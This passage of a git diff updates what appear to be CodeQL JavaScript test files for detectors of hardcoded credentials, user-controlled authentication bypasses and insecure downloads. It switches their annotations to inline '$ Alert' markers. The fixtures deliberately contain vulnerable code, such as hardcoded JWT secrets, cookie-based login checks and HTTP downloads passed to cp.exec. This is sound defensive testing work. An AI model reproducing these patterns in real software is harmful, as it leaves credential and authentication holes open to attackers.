-    require("http").request({auth: "user:{{ env.access_token }}"}); // OK
-    require("http").request({auth: "user:abcdefgh"}); // OK
-    require("http").request({auth: "user:12345678"}); // OK
-    require("http").request({auth: "user:foo"}); // OK
-    require("http").request({auth: "user:mypassword"}) // OK
-    require("http").request({auth: "user:mytoken"}) // OK
-    require("http").request({auth: "user:fake token"}) // OK
-    require("http").request({auth: "user:dcba"}) // OK
-    require("http").request({auth: "user:custom string"}) // OK
+    require("http").request({auth: "user:{{ INSERT_HERE }}"});
+    require("http").request({auth: "user:token {{ INSERT_HERE }}"});
+    require("http").request({auth: "user:( INSERT_HERE )"});
+    require("http").request({auth: "user:{{ env.access_token }}"});
+    require("http").request({auth: "user:abcdefgh"});
+    require("http").request({auth: "user:12345678"});
+    require("http").request({auth: "user:foo"});
+    require("http").request({auth: "user:mypassword"})
+    require("http").request({auth: "user:mytoken"})
+    require("http").request({auth: "user:fake token"})
+    require("http").request({auth: "user:dcba"})
+    require("http").request({auth: "user:custom string"})
 });
 
 (function () {
     // browser API
     var headers = new Headers();
-    headers.append("Authorization", `Basic sdsdag:sdsdag`); // NOT OK
-    headers.append("Authorization", `Basic sdsdag:xxxxxxxxxxxxxx`); // OK
-    headers.append("Authorization", `Basic sdsdag:aaaiuogrweuibgbbbbb`); // NOT OK
-    headers.append("Authorization", `Basic sdsdag:000000000000001`); // OK
+    headers.append("Authorization", `Basic sdsdag:sdsdag`); // $ Alert
+    headers.append("Authorization", `Basic sdsdag:xxxxxxxxxxxxxx`);
+    headers.append("Authorization", `Basic sdsdag:aaaiuogrweuibgbbbbb`); // $ Alert
+    headers.append("Authorization", `Basic sdsdag:000000000000001`);
 });
 
 (function () {
-    require('crypto').createHmac('sha256', 'mytoken'); // OK
-    require('crypto').createHmac('sha256', 'SampleToken'); // OK
-    require('crypto').createHmac('sha256', 'MyPassword'); // OK
-    require('crypto').createHmac('sha256', 'iubfewiaaweiybgaeuybgera'); // NOT OK
+    require('crypto').createHmac('sha256', 'mytoken');
+    require('crypto').createHmac('sha256', 'SampleToken');
+    require('crypto').createHmac('sha256', 'MyPassword');
+    require('crypto').createHmac('sha256', 'iubfewiaaweiybgaeuybgera'); // $ Alert
 })();
 
 (function () {
     const jwt_simple = require("jwt-simple");
 
-    var privateKey = "myHardCodedPrivateKey";
-    jwt_simple.decode(UserToken, privateKey); // NOT OK
+    var privateKey = "myHardCodedPrivateKey"; // $ Alert
+    jwt_simple.decode(UserToken, privateKey); // $ Sink
 })();
 
 
 (async function () {
     const jose = require("jose");
 
-    var privateKey = "myHardCodedPrivateKey";
-    jose.jwtVerify(token, new TextEncoder().encode(privateKey)) // NOT OK
+    var privateKey = "myHardCodedPrivateKey"; // $ Alert
+    jose.jwtVerify(token, new TextEncoder().encode(privateKey)) // $ Sink
 
     const spki = `-----BEGIN PUBLIC KEY-----
     MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwhYOFK2Ocbbpb/zVypi9...
-    -----END PUBLIC KEY-----`
+    -----END PUBLIC KEY-----` // $ Alert
     let publicKey = await jose.importSPKI(spki, 'RS256')
-    jose.jwtVerify(token, publicKey) // NOT OK
+    jose.jwtVerify(token, publicKey) // $ Sink
 
     const alg = 'RS256'
     const jwk = {
         kty: 'RSA',
-        n: 'whYOFK2Ocbbpb_zVypi9SeKiNUqKQH0zTKN1-6f...',
+        n: 'whYOFK2Ocbbpb_zVypi9SeKiNUqKQH0zTKN1-6f...', // $ Alert
         e: 'AQAB',
     }
     publicKey = await jose.importJWK(jwk, alg)
     const jwt =
         'eyJhbGciOiJSUzI1NiJ9.eyJ1cm46ZXhhbXBsZTpjbGFpbSI6dHJ1ZSwiaWF0IjoxNjY5MDU2NDg4LCJpc3MiOiJ1cm46ZXhhbXBsZTppc3N1ZXIiLCJhdWQiOiJ1cm46ZXhhbXBsZTphdWRpZW5jZSJ9.gXrPZ3yM_60dMXGE69dusbpzYASNA-XIOwsb5D5xYnSxyj6_D6OR_uR_1vqhUm4AxZxcrH1_-XJAve9HCw8az_QzHcN-nETt-v6stCsYrn6Bv1YOc-mSJRZ8ll57KVqLbCIbjKwerNX5r2_Qg2TwmJzQdRs-AQDhy-s_DlJd8ql6wR4n-kDZpar-pwIvz4fFIN0Fj57SXpAbLrV6Eo4Byzl0xFD8qEYEpBwjrMMfxCZXTlAVhAq6KCoGlDTwWuExps342-0UErEtyIqDnDGcrfNWiUsoo8j-29IpKd-w9-C388u-ChCxoHz--H8WmMSZzx3zTXsZ5lXLZ9IKfanDKg'
 
-    await jose.jwtVerify(jwt, publicKey, { // NOT OK
+    await jose.jwtVerify(jwt, publicKey, { // $ Sink
         issuer: 'urn:example:issuer',
         audience: 'urn:example:audience',
     })
@@ -341,12 +341,12 @@
 (function () {
     const expressjwt = require("express-jwt");
 
-    var secretKey = "myHardCodedPrivateKey";
+    var secretKey = "myHardCodedPrivateKey"; // $ Alert
 
     app.get(
         "/protected",
         expressjwt.expressjwt({
-            secret: secretKey, algorithms: ["HS256"] // NOT OK
+            secret: secretKey, algorithms: ["HS256"] // $ Sink
         }),
         function (req, res) {
             if (!req.auth.admin) return res.sendStatus(401);
@@ -357,7 +357,7 @@
     app.get(
         "/protected",
         expressjwt.expressjwt({
-            secret: Buffer.from(secretKey, "base64"), // NOT OK
+            secret: Buffer.from(secretKey, "base64"), // $ Sink
             algorithms: ["RS256"],
         }),
         function (req, res) {
@@ -372,17 +372,17 @@
     const JwtStrategy = require('passport-jwt').Strategy;
     const passport = require('passport')
 
-    var secretKey = "myHardCodedPrivateKey";
+    var secretKey = "myHardCodedPrivateKey"; // $ Alert
 
     const opts = {}
-    opts.secretOrKey = secretKey; // NOT OK
+    opts.secretOrKey = secretKey; // $ Sink
     passport.use(new JwtStrategy(opts, function (jwt_payload, done) {
         return done(null, false);
     }));
 
     passport.use(new JwtStrategy({
         secretOrKeyProvider: function (request, rawJwtToken, done) {
-            return done(null, secretKey) // NOT OK
+            return done(null, secretKey) // $ Sink
         }
     }, function (jwt_payload, done) {
         return done(null, false);
@@ -393,10 +393,10 @@
     import NextAuth from "next-auth"
     import AppleProvider from "next-auth/providers/apple"
 
-    var secretKey = "myHardCodedPrivateKey";
+    var secretKey = "myHardCodedPrivateKey"; // $ Alert
 
     NextAuth({
-        secret: secretKey, // NOT OK
+        secret: secretKey, // $ Sink
         providers: [
             AppleProvider({
                 clientId: process.env.APPLE_ID,
@@ -411,7 +411,7 @@
     const jwt = require('koa-jwt');
     const app = new Koa();
 
-    var secretKey = "myHardCodedPrivateKey";
+    var secretKey = "myHardCodedPrivateKey"; // $ Alert
 
-    app.use(jwt({ secret: secretKey })); // NOT OK
-})();
\ No newline at end of file
+    app.use(jwt({ secret: secretKey })); // $ Sink
+})();
diff --git a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref
index 2b0cf2985537..e6167f96edaf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-798/HardcodedCredentials.qlref
@@ -1 +1,2 @@
-Security/CWE-798/HardcodedCredentials.ql
+query: Security/CWE-798/HardcodedCredentials.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-798/__tests__/HardcodedCredentialsDemo.js b/javascript/ql/test/query-tests/Security/CWE-798/__tests__/HardcodedCredentialsDemo.js
index acf578029c6a..da5c8f02d35e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-798/__tests__/HardcodedCredentialsDemo.js
+++ b/javascript/ql/test/query-tests/Security/CWE-798/__tests__/HardcodedCredentialsDemo.js
@@ -2,10 +2,10 @@
     const pg = require('pg');
 
     const client = new pg.Client({
-        user: 'dbuser',  // OK
+        user: 'dbuser', // $ Alert
         host: 'database.server.com',
         database: 'mydb',
-        password: 'hgfedcba',  // OK
+        password: 'hgfedcba', // $ Alert
         port: 3211,
     });
     client.connect();
@@ -15,17 +15,17 @@
     const JwtStrategy = require('passport-jwt').Strategy;
     const passport = require('passport')
 
-    var secretKey = "myHardCodedPrivateKey";
+    var secretKey = "myHardCodedPrivateKey"; // OK - JWT keys in tests are not flagged
 
     const opts = {}
-    opts.secretOrKey = secretKey; // NOT OK
+    opts.secretOrKey = secretKey;
     passport.use(new JwtStrategy(opts, function (jwt_payload, done) {
         return done(null, false);
     }));
 
     passport.use(new JwtStrategy({
         secretOrKeyProvider: function (request, rawJwtToken, done) {
-            return done(null, secretKey) // NOT OK
+            return done(null, secretKey)
         }
     }, function (jwt_payload, done) {
         return done(null, false);
diff --git a/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected b/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected
index 834ad02c1f24..8743571bbbcd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.expected
@@ -1,3 +1,14 @@
+#select
+| tst.js:9:8:9:26 | req.params.shutDown | tst.js:9:8:9:26 | req.params.shutDown | tst.js:9:8:9:26 | req.params.shutDown | This condition guards a sensitive $@, but a $@ controls it. | tst.js:10:9:10:22 | process.exit() | action | tst.js:9:8:9:26 | req.params.shutDown | user-provided value |
+| tst.js:13:9:13:30 | req.coo ... inThing | tst.js:13:9:13:19 | req.cookies | tst.js:13:9:13:30 | req.coo ... inThing | This condition guards a sensitive $@, but a $@ controls it. | tst.js:14:9:14:17 | o.login() | action | tst.js:13:9:13:19 | req.cookies | user-provided value |
+| tst.js:28:9:28:10 | v3 | tst.js:27:17:27:27 | req.cookies | tst.js:28:9:28:10 | v3 | This condition guards a sensitive $@, but a $@ controls it. | tst.js:29:9:29:22 | process.exit() | action | tst.js:27:17:27:27 | req.cookies | user-provided value |
+| tst.js:33:13:33:32 | req.cookies.cookieId | tst.js:33:13:33:23 | req.cookies | tst.js:33:13:33:32 | req.cookies.cookieId | This condition guards a sensitive $@, but a $@ controls it. | tst.js:34:13:34:26 | process.exit() | action | tst.js:33:13:33:23 | req.cookies | user-provided value |
+| tst.js:38:9:38:28 | req.cookies.cookieId | tst.js:38:9:38:19 | req.cookies | tst.js:38:9:38:28 | req.cookies.cookieId | This condition guards a sensitive $@, but a $@ controls it. | tst.js:40:13:40:26 | process.exit() | action | tst.js:38:9:38:19 | req.cookies | user-provided value |
+| tst.js:44:8:44:23 | req.params.login | tst.js:44:8:44:23 | req.params.login | tst.js:44:8:44:23 | req.params.login | This condition guards a sensitive $@, but a $@ controls it. | tst.js:47:9:47:15 | login() | action | tst.js:44:8:44:23 | req.params.login | user-provided value |
+| tst.js:57:8:57:23 | req.params.login | tst.js:57:8:57:23 | req.params.login | tst.js:57:8:57:23 | req.params.login | This condition guards a sensitive $@, but a $@ controls it. | tst.js:58:9:58:15 | login() | action | tst.js:57:8:57:23 | req.params.login | user-provided value |
+| tst.js:78:9:78:41 | req.coo ... secret" | tst.js:78:9:78:19 | req.cookies | tst.js:78:9:78:41 | req.coo ... secret" | This condition guards a sensitive $@, but a $@ controls it. | tst.js:79:9:79:22 | process.exit() | action | tst.js:78:9:78:19 | req.cookies | user-provided value |
+| tst.js:98:13:98:32 | req.query.vulnerable | tst.js:98:13:98:32 | req.query.vulnerable | tst.js:98:13:98:32 | req.query.vulnerable | This condition guards a sensitive $@, but a $@ controls it. | tst.js:101:9:101:16 | verify() | action | tst.js:98:13:98:32 | req.query.vulnerable | user-provided value |
+| tst.js:105:13:105:32 | req.query.vulnerable | tst.js:105:13:105:32 | req.query.vulnerable | tst.js:105:13:105:32 | req.query.vulnerable | This condition guards a sensitive $@, but a $@ controls it. | tst.js:108:13:108:20 | verify() | action | tst.js:105:13:105:32 | req.query.vulnerable | user-provided value |
 edges
 | example_bypass.js:6:9:6:19 | req.cookies | example_bypass.js:6:9:6:34 | req.coo ... nUserId | provenance |  |
 | tst.js:13:9:13:19 | req.cookies | tst.js:13:9:13:30 | req.coo ... inThing | provenance |  |
@@ -18,7 +29,7 @@ nodes
 | example_bypass.js:6:9:6:19 | req.cookies | semmle.label | req.cookies |
 | example_bypass.js:6:9:6:34 | req.coo ... nUserId | semmle.label | req.coo ... nUserId |
 | example_bypass.js:6:40:6:56 | req.params.userId | semmle.label | req.params.userId |
-| example_bypass.js:17:46:17:62 | req.params.userId | semmle.label | req.params.userId |
+| example_bypass.js:16:46:16:62 | req.params.userId | semmle.label | req.params.userId |
 | tst.js:9:8:9:26 | req.params.shutDown | semmle.label | req.params.shutDown |
 | tst.js:13:9:13:19 | req.cookies | semmle.label | req.cookies |
 | tst.js:13:9:13:30 | req.coo ... inThing | semmle.label | req.coo ... inThing |
@@ -51,14 +62,3 @@ nodes
 | tst.js:113:13:113:32 | req.query.vulnerable | semmle.label | req.query.vulnerable |
 subpaths
 | tst.js:27:17:27:36 | req.cookies.cookieId | tst.js:24:17:24:17 | v | tst.js:25:16:25:16 | v | tst.js:27:14:27:37 | id(req. ... okieId) |
-#select
-| tst.js:9:8:9:26 | req.params.shutDown | tst.js:9:8:9:26 | req.params.shutDown | tst.js:9:8:9:26 | req.params.shutDown | This condition guards a sensitive $@, but a $@ controls it. | tst.js:10:9:10:22 | process.exit() | action | tst.js:9:8:9:26 | req.params.shutDown | user-provided value |
-| tst.js:13:9:13:30 | req.coo ... inThing | tst.js:13:9:13:19 | req.cookies | tst.js:13:9:13:30 | req.coo ... inThing | This condition guards a sensitive $@, but a $@ controls it. | tst.js:14:9:14:17 | o.login() | action | tst.js:13:9:13:19 | req.cookies | user-provided value |
-| tst.js:28:9:28:10 | v3 | tst.js:27:17:27:27 | req.cookies | tst.js:28:9:28:10 | v3 | This condition guards a sensitive $@, but a $@ controls it. | tst.js:29:9:29:22 | process.exit() | action | tst.js:27:17:27:27 | req.cookies | user-provided value |
-| tst.js:33:13:33:32 | req.cookies.cookieId | tst.js:33:13:33:23 | req.cookies | tst.js:33:13:33:32 | req.cookies.cookieId | This condition guards a sensitive $@, but a $@ controls it. | tst.js:34:13:34:26 | process.exit() | action | tst.js:33:13:33:23 | req.cookies | user-provided value |
-| tst.js:38:9:38:28 | req.cookies.cookieId | tst.js:38:9:38:19 | req.cookies | tst.js:38:9:38:28 | req.cookies.cookieId | This condition guards a sensitive $@, but a $@ controls it. | tst.js:40:13:40:26 | process.exit() | action | tst.js:38:9:38:19 | req.cookies | user-provided value |
-| tst.js:44:8:44:23 | req.params.login | tst.js:44:8:44:23 | req.params.login | tst.js:44:8:44:23 | req.params.login | This condition guards a sensitive $@, but a $@ controls it. | tst.js:47:9:47:15 | login() | action | tst.js:44:8:44:23 | req.params.login | user-provided value |
-| tst.js:57:8:57:23 | req.params.login | tst.js:57:8:57:23 | req.params.login | tst.js:57:8:57:23 | req.params.login | This condition guards a sensitive $@, but a $@ controls it. | tst.js:58:9:58:15 | login() | action | tst.js:57:8:57:23 | req.params.login | user-provided value |
-| tst.js:78:9:78:41 | req.coo ... secret" | tst.js:78:9:78:19 | req.cookies | tst.js:78:9:78:41 | req.coo ... secret" | This condition guards a sensitive $@, but a $@ controls it. | tst.js:79:9:79:22 | process.exit() | action | tst.js:78:9:78:19 | req.cookies | user-provided value |
-| tst.js:98:13:98:32 | req.query.vulnerable | tst.js:98:13:98:32 | req.query.vulnerable | tst.js:98:13:98:32 | req.query.vulnerable | This condition guards a sensitive $@, but a $@ controls it. | tst.js:101:9:101:16 | verify() | action | tst.js:98:13:98:32 | req.query.vulnerable | user-provided value |
-| tst.js:105:13:105:32 | req.query.vulnerable | tst.js:105:13:105:32 | req.query.vulnerable | tst.js:105:13:105:32 | req.query.vulnerable | This condition guards a sensitive $@, but a $@ controls it. | tst.js:108:13:108:20 | verify() | action | tst.js:105:13:105:32 | req.query.vulnerable | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.qlref b/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.qlref
index 3cdcbee2da44..c5b25d41074c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-807/ConditionalBypass.qlref
@@ -1 +1,2 @@
-Security/CWE-807/ConditionalBypass.ql
\ No newline at end of file
+query: Security/CWE-807/ConditionalBypass.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.qlref b/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.qlref
index 01c1f3177fd5..a82192c2637c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-807/DifferentKindsComparisonBypass.qlref
@@ -1 +1,2 @@
-Security/CWE-807/DifferentKindsComparisonBypass.ql
\ No newline at end of file
+query: Security/CWE-807/DifferentKindsComparisonBypass.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js b/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js
index 86802fca59e6..ab7e43b10a52 100644
--- a/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js
+++ b/javascript/ql/test/query-tests/Security/CWE-807/example_bypass.js
@@ -3,9 +3,8 @@ var app = express();
 // ...
 app.get('/full-profile/:userId', function(req, res) {
 
-    if (req.cookies.loggedInUserId !== req.params.userId) { // NOT OK
-        // BAD: login decision made based on user controlled data
-        requireLogin();
+    if (req.cookies.loggedInUserId !== req.params.userId) { // $ Alert[js/different-kinds-comparison-bypass]
+        requireLogin(); // $ MISSING: Alert - login decision made based on user controlled data
     } else {
         // ... show private information
     }
@@ -14,8 +13,8 @@ app.get('/full-profile/:userId', function(req, res) {
 
 app.get('/full-profile/:userId', function(req, res) {
 
-    if (req.signedCookies.loggedInUserId !== req.params.userId) { // OK
-        // GOOD: login decision made based on server controlled data
+    if (req.signedCookies.loggedInUserId !== req.params.userId) {
+        // OK - login decision made based on server controlled data
         requireLogin();
     } else {
         // ... show private information
diff --git a/javascript/ql/test/query-tests/Security/CWE-807/tst-different-kinds-comparison-bypass.js b/javascript/ql/test/query-tests/Security/CWE-807/tst-different-kinds-comparison-bypass.js
index d7bfd285c50d..c9832c86c000 100644
--- a/javascript/ql/test/query-tests/Security/CWE-807/tst-different-kinds-comparison-bypass.js
+++ b/javascript/ql/test/query-tests/Security/CWE-807/tst-different-kinds-comparison-bypass.js
@@ -4,22 +4,22 @@ var app = express();
 
 app.get('/user/:id', function(req, res) {
 
-    req.query.userId == req.cookies.userId; // NOT OK
+    req.query.userId == req.cookies.userId; // $ Alert[js/different-kinds-comparison-bypass]
 
-    req.query.userId1 == req.query.userId2; // OK, same kind of source
+    req.query.userId1 == req.query.userId2; // OK - same kind of source
 
-    req.url == req.body; // NOT OK
+    req.url == req.body; // $ Alert[js/different-kinds-comparison-bypass]
 
     check(req.query.userId, req.cookies.userId);
 
     function check(a, b) {
-        a == b; // NOT OK
+        a == b; // $ Alert[js/different-kinds-comparison-bypass]
     }
 
     // CSRF protection
-    req.cookies.csrf == req.query.csrf; // OK
-    req.cookies.csrfToken == req.query.csrfToken; // OK
-    req.cookies.state == req.query.state; // OK
-    req.cookies.authState == req.query.authState; // OK
-    req.cookies.token == req.query.token; // OK
+    req.cookies.csrf == req.query.csrf;
+    req.cookies.csrfToken == req.query.csrfToken;
+    req.cookies.state == req.query.state;
+    req.cookies.authState == req.query.authState;
+    req.cookies.token == req.query.token;
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-807/tst.js b/javascript/ql/test/query-tests/Security/CWE-807/tst.js
index 9fd7507b5682..c280b3597edd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-807/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-807/tst.js
@@ -3,106 +3,106 @@ var express = require('express');
 var app = express();
 
 app.get('/user/:id', function(req, res) {
-     // OK
+
     process.exit();
 
-    if(req.params.shutDown) { // NOT OK: depends on user input
+    if(req.params.shutDown) { // $ Alert[js/user-controlled-bypass] - depends on user input
         process.exit();
     }
 
-    if (req.cookies.loginThing) { // NOT OK: depends on user input
+    if (req.cookies.loginThing) { // $ Alert[js/user-controlled-bypass] - depends on user input
         o.login();
     }
 
-    if (req.cookies.loginThing) { // OK: not a sensitive action
+    if (req.cookies.loginThing) { // OK - not a sensitive action
         o.getLogin();
     }
 
-    // OK
+
     process.exit();
 
     function id(v) {
         return v;
     }
-    var v3 = id(req.cookies.cookieId);
-    if (v3) { // NOT OK, depends on user input
+    var v3 = id(req.cookies.cookieId); // $ Source[js/user-controlled-bypass]
+    if (v3) { // $ Alert[js/user-controlled-bypass] - depends on user input
         process.exit();
     }
 
     if (otherCondition) {
-        if (req.cookies.cookieId) { // NOT OK: depends on user input
+        if (req.cookies.cookieId) { // $ Alert[js/user-controlled-bypass] - depends on user input
             process.exit();
         }
     }
 
-    if (req.cookies.cookieId) { // OK: but flagged anyway due to plain dominance analysis [INCONSISTENCY]
+    if (req.cookies.cookieId) { // $ SPURIOUS: Alert[js/user-controlled-bypass] - flagged anyway due to plain dominance analysis
         if (otherCondition) {
             process.exit();
         }
     }
 
-    if(req.params.login) { // NOT OK: depends on user input
+    if(req.params.login) { // $ Alert[js/user-controlled-bypass] - depends on user input
 
     } else {
         login()
     }
 
 
-    if(req.params.login && somethingElse) { // OK: depends on something else
+    if(req.params.login && somethingElse) { // OK - depends on something else
 
     } else {
         login()
     }
 
-    if(req.params.login && somethingElse) { // NOT OK: depends on user input
+    if(req.params.login && somethingElse) { // $ Alert[js/user-controlled-bypass] - depends on user input
         login()
     }
 
-    if (req.cookies.cookieId === req.params.requestId) { // NOT OK: depends on user input
+    if (req.cookies.cookieId === req.params.requestId) { // $ Alert[js/different-kinds-comparison-bypass]
         process.exit();
     }
 
-    var v1 = req.cookies.cookieId === req.params.requestId; // NOT OK: depends on user input
+    var v1 = req.cookies.cookieId === req.params.requestId; // $ Alert[js/different-kinds-comparison-bypass]
     if (v1) {
         process.exit();
     }
 
     function cmp(p, q) {
-        return p === q;
+        return p === q; // $ Alert[js/different-kinds-comparison-bypass]
     }
-    var v2 = cmp(req.cookies.cookieId, req.params.requestId); // NOT OK, but not detected due to flow limitations [INCONSISTENCY]
+    var v2 = cmp(req.cookies.cookieId, req.params.requestId); // $ MISSING: Alert - not detected due to flow limitations
     if (v2) {
         process.exit();
     }
 
-    if (req.cookies.cookieId === "secret") { // NOT OK: depends on user input
+    if (req.cookies.cookieId === "secret") { // $ Alert[js/user-controlled-bypass] - depends on user input
         process.exit();
     }
 
     if (req.cookies.loginThing) {
-        // OK: not a sensitive action
+        // OK - not a sensitive action
         unauthorized();
-        // OK: not a sensitive action
+        // OK - not a sensitive action
         console.log(commit.author().toString());
     }
 });
 
 app.get('/user/:id', function(req, res) {
-    if (!req.body || !username || !password || riskAssessnment == null) { // OK: early return below
+    if (!req.body || !username || !password || riskAssessnment == null) { // OK - early return below
         res.status(400).send({ error: '...', id: '...' });
         return
     }
     customerLogin.customerLogin(username, password, riskAssessment, clientIpAddress);
 
     while (!verified) {
-        if (req.query.vulnerable) { // NOT OK
+        if (req.query.vulnerable) { // $ Alert[js/user-controlled-bypass]
             break;
         }
         verify();
     }
 
     while (!verified) {
-        if (req.query.vulnerable) { // NOT OK
+        if (req.query.vulnerable) { // $ Alert[js/user-controlled-bypass]
             break;
         } else {
             verify();
@@ -110,7 +110,7 @@ app.get('/user/:id', function(req, res) {
     }
 
     while (!verified) {
-        if (req.query.vulnerable) { // OK: early return
+        if (req.query.vulnerable) { // OK - early return
             return;
         }
         verify();
diff --git a/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.expected b/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.expected
index aa8290bac3bf..e430335b97b7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.expected
@@ -1,3 +1,14 @@
+#select
+| insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | $@ of sensitive file from $@. | insecure-download.js:30:5:30:43 | nugget( ... e.APK") | Download | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | HTTP source |
+| insecure-download.js:37:23:37:25 | url | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | insecure-download.js:37:23:37:25 | url | $@ of sensitive file from $@. | insecure-download.js:37:5:37:42 | cp.exec ...  () {}) | Download | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | HTTP source |
+| insecure-download.js:39:26:39:28 | url | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | insecure-download.js:39:26:39:28 | url | $@ of sensitive file from $@. | insecure-download.js:39:5:39:46 | cp.exec ...  () {}) | Download | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | HTTP source |
+| insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | $@ of sensitive file from $@. | insecure-download.js:41:5:41:42 | nugget( ... e.APK") | Download | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | HTTP source |
+| insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | $@ of sensitive file from $@. | insecure-download.js:48:5:48:71 | nugget( ... => { }) | Download | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | HTTP source |
+| insecure-download.js:52:11:52:45 | "http:/ ... nknown" | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | $@ of sensitive file from $@. | insecure-download.js:52:5:54:6 | $.get(" ... \\n    }) | Download | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | HTTP source |
+edges
+| insecure-download.js:36:9:36:45 | url | insecure-download.js:37:23:37:25 | url | provenance |  |
+| insecure-download.js:36:9:36:45 | url | insecure-download.js:39:26:39:28 | url | provenance |  |
+| insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | insecure-download.js:36:9:36:45 | url | provenance |  |
 nodes
 | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | semmle.label | "http:/ ... fe.APK" |
 | insecure-download.js:36:9:36:45 | url | semmle.label | url |
@@ -7,15 +18,4 @@ nodes
 | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | semmle.label | "ftp:// ... fe.APK" |
 | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | semmle.label | "http:/ ... unsafe" |
 | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | semmle.label | "http:/ ... nknown" |
-edges
-| insecure-download.js:36:9:36:45 | url | insecure-download.js:37:23:37:25 | url | provenance |  |
-| insecure-download.js:36:9:36:45 | url | insecure-download.js:39:26:39:28 | url | provenance |  |
-| insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | insecure-download.js:36:9:36:45 | url | provenance |  |
 subpaths
-#select
-| insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | $@ of sensitive file from $@. | insecure-download.js:30:5:30:43 | nugget( ... e.APK") | Download | insecure-download.js:30:12:30:42 | "http:/ ... fe.APK" | HTTP source |
-| insecure-download.js:37:23:37:25 | url | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | insecure-download.js:37:23:37:25 | url | $@ of sensitive file from $@. | insecure-download.js:37:5:37:42 | cp.exec ...  () {}) | Download | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | HTTP source |
-| insecure-download.js:39:26:39:28 | url | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | insecure-download.js:39:26:39:28 | url | $@ of sensitive file from $@. | insecure-download.js:39:5:39:46 | cp.exec ...  () {}) | Download | insecure-download.js:36:15:36:45 | "http:/ ... fe.APK" | HTTP source |
-| insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | $@ of sensitive file from $@. | insecure-download.js:41:5:41:42 | nugget( ... e.APK") | Download | insecure-download.js:41:12:41:41 | "ftp:// ... fe.APK" | HTTP source |
-| insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | $@ of sensitive file from $@. | insecure-download.js:48:5:48:71 | nugget( ... => { }) | Download | insecure-download.js:48:12:48:38 | "http:/ ... unsafe" | HTTP source |
-| insecure-download.js:52:11:52:45 | "http:/ ... nknown" | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | $@ of sensitive file from $@. | insecure-download.js:52:5:54:6 | $.get(" ... \\n    }) | Download | insecure-download.js:52:11:52:45 | "http:/ ... nknown" | HTTP source |
diff --git a/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.qlref b/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.qlref
index 0b5276834bb4..fc024025255b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-829/InsecureDownload.qlref
